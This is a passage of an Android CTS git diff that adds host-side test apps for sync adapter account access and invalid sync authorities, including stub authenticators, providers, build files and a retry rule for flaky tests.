+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd deviceidle whitelist +" + getContext().getPackageName());
+        // Allow us to use data in the background
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd netpolicy add restrict-background-whitelist " + Process.myUid());
+    }
+
+    private void disallowSyncAdapterRunInBackgroundAndDataInBackground() throws IOException {
+        // Allow us to run in the background
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd deviceidle whitelist -" + getContext().getPackageName());
+        // Allow us to use data in the background
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd netpolicy remove restrict-background-whitelist " + Process.myUid());
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
new file mode 100644
index 0000000..2f6b6ff
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ */
+
+package android.content.cts;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Rule for running flaky tests that runs the test up to attempt
+ * count and if one run succeeds reports the tests as passing.
+ */
+// TODO: Move this puppy in a common place, so ppl can use it.
+public class FlakyTestRule implements TestRule {
+    private final int mAttemptCount;
+
+    public FlakyTestRule(int attemptCount) {
+        mAttemptCount = attemptCount;
+    }
+
+    @Override
+    public Statement apply(Statement statement, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                Exception exception = null;
+                for (int i = 0; i < mAttemptCount; i++) {
+                    try {
+                        statement.evaluate();
+                        return;
+                    } catch (Exception e) {
+                        exception = e;
+                    }
+                }
+                throw exception;
+            };
+        };
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
new file mode 100644
index 0000000..caefd37
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.content;
+
+import android.app.Activity;
+
+public class StubActivity extends Activity {
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/SyncAdapter.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/SyncAdapter.java
new file mode 100644
index 0000000..e93a070
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/SyncAdapter.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.content;
+
+import android.accounts.Account;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.content.SyncResult;
+import android.os.Bundle;
+
+public class SyncAdapter extends AbstractThreadedSyncAdapter {
+    private static final Object sLock = new Object();
+
+    private static OnPerformSyncDelegate sOnPerformSyncDelegate;
+
+    public interface OnPerformSyncDelegate {
+        void onPerformSync(Account account, Bundle extras, String authority,
+                ContentProviderClient provider, SyncResult syncResult);
+    }
+
+    public static void setOnPerformSyncDelegate(OnPerformSyncDelegate delegate) {
+        synchronized (sLock) {
+            sOnPerformSyncDelegate = delegate;
+        }
+    }
+
+    public SyncAdapter(Context context, boolean autoInitialize) {
+        super(context, autoInitialize);
+    }
+
+    @Override
+    public void onPerformSync(Account account, Bundle extras, String authority,
+            ContentProviderClient provider, SyncResult syncResult) {
+        OnPerformSyncDelegate delegate;
+        synchronized (sLock) {
+            delegate = sOnPerformSyncDelegate;
+        }
+        if (delegate != null) {
+            delegate.onPerformSync(account, extras, authority, provider, syncResult);
+        }
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/SyncService.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/SyncService.java
new file mode 100644
index 0000000..e8da82c
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/SyncService.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.content;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class SyncService extends Service {
+    private SyncAdapter mInstance;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mInstance = new SyncAdapter(this, false);
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mInstance.getSyncAdapterBinder();
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
new file mode 100644
index 0000000..104fdbd
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
new file mode 100644
index 0000000..46c34f6
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.sync.cts">
+
+    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
+    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <service
+            android:name=".StubAuthenticator">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator"/>
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <provider
+            android:name=".StubProvider"
+            android:authorities="android.content.sync.cts.authority">
+        </provider>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.sync.cts" />
+</manifest>
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml
new file mode 100644
index 0000000..39dec51
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/res/xml/authenticator.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.content.sync.cts.accounttype"/>
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
new file mode 100644
index 0000000..f91a358
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/InvalidSyncAuthoritiesDeviceTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Device side code for {@link android.content.cts.InvalidSyncAuthoritiesHostTest}
+ */
+@RunWith(AndroidJUnit4.class)
+public class InvalidSyncAuthoritiesDeviceTest {
+
+    private static final String VALID_TEST_AUTHORITY = "android.content.sync.cts.authority";
+    private static final String INVALID_TEST_AUTHORITY = "invalid.authority";
+    private static final String VALID_TEST_ACCOUNT_TYPE = "android.content.sync.cts.accounttype";
+
+    private Account mInvalidAccount;
+    private Account mValidAccount;
+    private AccountManager mAccountManager;
+
+    @Before
+    public void setUp() {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        mAccountManager = context.getSystemService(AccountManager.class);
+        mInvalidAccount = new Account("invalid_test_name", "invalid_test_type");
+        final Account[] accounts = mAccountManager.getAccountsByType(VALID_TEST_ACCOUNT_TYPE);
+        mValidAccount = (accounts.length == 0) ? createTestAccount() : accounts[0];
+    }
+
+    private Account createTestAccount() {
+        mValidAccount = new Account("testAccount", VALID_TEST_ACCOUNT_TYPE);
+        assertTrue("Failed to create a valid test account",
+                mAccountManager.addAccountExplicitly(mValidAccount, "password", null));
+        return mValidAccount;
+    }
+
+    @Test
+    public void populateAndTestSyncAutomaticallyBeforeReboot() {
+        ContentResolver.setSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY, true);
+        ContentResolver.setSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY, true);
+        ContentResolver.setSyncAutomatically(mInvalidAccount, INVALID_TEST_AUTHORITY, true);
+        ContentResolver.setSyncAutomatically(mInvalidAccount, VALID_TEST_AUTHORITY, true);
+
+        assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY));
+        assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY));
+        // checking for invalid accounts may already return false depending on when the broadcast
+        // LOGIN_ACCOUNTS_CHANGED_ACTION was received by SyncManager
+    }
+
+    @Test
+    public void testSyncAutomaticallyAfterReboot() {
+        assertTrue(ContentResolver.getSyncAutomatically(mValidAccount, VALID_TEST_AUTHORITY));
+        assertFalse(ContentResolver.getSyncAutomatically(mValidAccount, INVALID_TEST_AUTHORITY));
+        assertFalse(ContentResolver.getSyncAutomatically(mInvalidAccount, VALID_TEST_AUTHORITY));
+        assertFalse(ContentResolver.getSyncAutomatically(mInvalidAccount, INVALID_TEST_AUTHORITY));
+    }
+
+    @Test
+    public void removeTestAccount() {
+        // To use as a teardown step from the hostside test
+        mAccountManager.removeAccountExplicitly(mValidAccount);
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java
new file mode 100644
index 0000000..f54835b
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubAuthenticator.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+public class StubAuthenticator extends Service {
+
+    private Authenticator mAuthenticator;
+
+    @Override
+    public void onCreate() {
+        mAuthenticator = new Authenticator(this);
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mAuthenticator.getIBinder();
+    }
+
+    public class Authenticator extends AbstractAccountAuthenticator {
+        public Authenticator(Context context) {
+            super(context);
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response,
+                String accountType) {
+            return null;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response,
+                String accountType, String tokenType, String[] strings,
+                Bundle bundle) throws NetworkErrorException {
+            Bundle result = new Bundle();
+            result.putString(AccountManager.KEY_ERROR_MESSAGE, "Unsupported operation");
+            response.onResult(result);
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse response,
+                Account account, Bundle bundle) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse response,
+                Account account, String type, Bundle bundle) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String tokenName) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse response,
+                Account account, String tokenType, Bundle bundle)
+                throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse response,
+                Account account, String[] options) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle getAccountRemovalAllowed(AccountAuthenticatorResponse response,
+                Account account) throws NetworkErrorException {
+            Bundle result = new Bundle();
+            result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, true);
+            return result;
+        }
+    }
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java
new file mode 100644
index 0000000..f082cc8
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/src/android/content/sync/cts/StubProvider.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.sync.cts;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class StubProvider extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(@NonNull Uri uri, @Nullable String[] projection,
+            @Nullable String selection, @Nullable String[] selectionArgs,
+            @Nullable String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(@NonNull Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(@NonNull Uri uri, @Nullable String selection,
+            @Nullable String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(@NonNull Uri uri, @Nullable ContentValues values,
+            @Nullable String selection, @Nullable String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
new file mode 100644
index 0000000..4c817d9
--- /dev/null
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsSyncAccountAccessStubs
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/AndroidManifest.xml b/hostsidetests/content/test-apps/SyncAccountAccessStubs/AndroidManifest.xml
new file mode 100644
index 0000000..76c4fb4
--- /dev/null
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.stub">
+
+    <application>
+        <service
+                android:name=".StubAuthenticator">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator"/>
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <provider
+            android:name=".StubProvider"
+            android:authorities="com.android.cts.stub.provider"
+            android:exported="true"
+            android:syncable="true">
+        </provider>
+
+    </application>
+
+</manifest>
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/res/xml/authenticator.xml b/hostsidetests/content/test-apps/SyncAccountAccessStubs/res/xml/authenticator.xml
new file mode 100644
index 0000000..77ecd28
--- /dev/null
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/res/xml/authenticator.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="com.stub"/>
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/src/com/android/cts/stub/StubAuthenticator.java b/hostsidetests/content/test-apps/SyncAccountAccessStubs/src/com/android/cts/stub/StubAuthenticator.java
new file mode 100644
index 0000000..eec9d21
--- /dev/null
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/src/com/android/cts/stub/StubAuthenticator.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.stub;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+public class StubAuthenticator extends Service {
+    public static final String TOKEN_TYPE_REMOVE_ACCOUNTS = "TOKEN_TYPE_REMOVE_ACCOUNTS";
+
+    private Authenticator mAuthenticator;
+
+    @Override
+    public void onCreate() {
+        mAuthenticator = new Authenticator(this);
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mAuthenticator.getIBinder();
+    }
+
+    public class Authenticator extends AbstractAccountAuthenticator {
+        public Authenticator(Context context) {
+            super(context);
+            removeAccounts();
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response,
+                String accountType) {
+            return null;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response,
+                String accountType, String tokenType, String[] strings,
+                Bundle bundle) throws NetworkErrorException {
+            AccountManager accountManager = getSystemService(AccountManager.class);
+            accountManager.addAccountExplicitly(new Account("foo", accountType), "bar", null);
+
+            Bundle result = new Bundle();
+            result.putString(AccountManager.KEY_ACCOUNT_NAME, "foo");
+            result.putString(AccountManager.KEY_ACCOUNT_TYPE, accountType);
+            response.onResult(result);
+
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse response,
+                Account account, Bundle bundle) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse response,
+                Account account, String type, Bundle bundle) throws NetworkErrorException {
+            if (TOKEN_TYPE_REMOVE_ACCOUNTS.equals(type)) {
+                removeAccounts();
+            }
+            return null;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String tokenName) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse response,
+                Account account, String tokenType, Bundle bundle)
+                throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse response,
+                Account account, String[] options) throws NetworkErrorException {
+            return null;
+        }
+
+        @Override
+        public Bundle getAccountRemovalAllowed(AccountAuthenticatorResponse response,
+                Account account) throws NetworkErrorException {
+            Bundle result = new Bundle();
+            result.putBoolean(AccountManager.KEY_BOOLEAN_RESULT, true);
+            return result;
+        }
+
+        private void removeAccounts() {
+            AccountManager accountManager = getSystemService(AccountManager.class);
+            for (Account account : accountManager.getAccounts()) {
+                accountManager.removeAccountExplicitly(account);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/src/com/android/cts/stub/StubProvider.java b/hostsidetests/content/test-apps/SyncAccountAccessStubs/src/com/android/cts/stub/StubProvider.java
new file mode 100644
index 0000000..8a21e0d
--- /dev/null
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/src/com/android/cts/stub/StubProvider.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.stub;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class StubProvider extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        return false;
+    }
+
+    @Override
+    public Cursor query(@NonNull Uri uri, @Nullable String[] projection,
+            @Nullable String selection, @Nullable String[] selectionArgs,
+            @Nullable String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(@NonNull Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(@NonNull Uri uri, @Nullable String selection,
+            @Nullable String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(@NonNull Uri uri, @Nullable ContentValues values,
+            @Nullable String selection, @Nullable String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 2c1f697..67acb25 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -23,7 +23,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsCppToolsTestCases
 
-LOCAL_JAVA_LIBRARIES := ddmlib-prebuilt tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := ddmlib-prebuilt tradefed
 
 LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
 
diff --git a/hostsidetests/cpptools/AndroidTest.xml b/hostsidetests/cpptools/AndroidTest.xml
index 582c772..94a1154 100644
--- a/hostsidetests/cpptools/AndroidTest.xml
+++ b/hostsidetests/cpptools/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS CPP host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
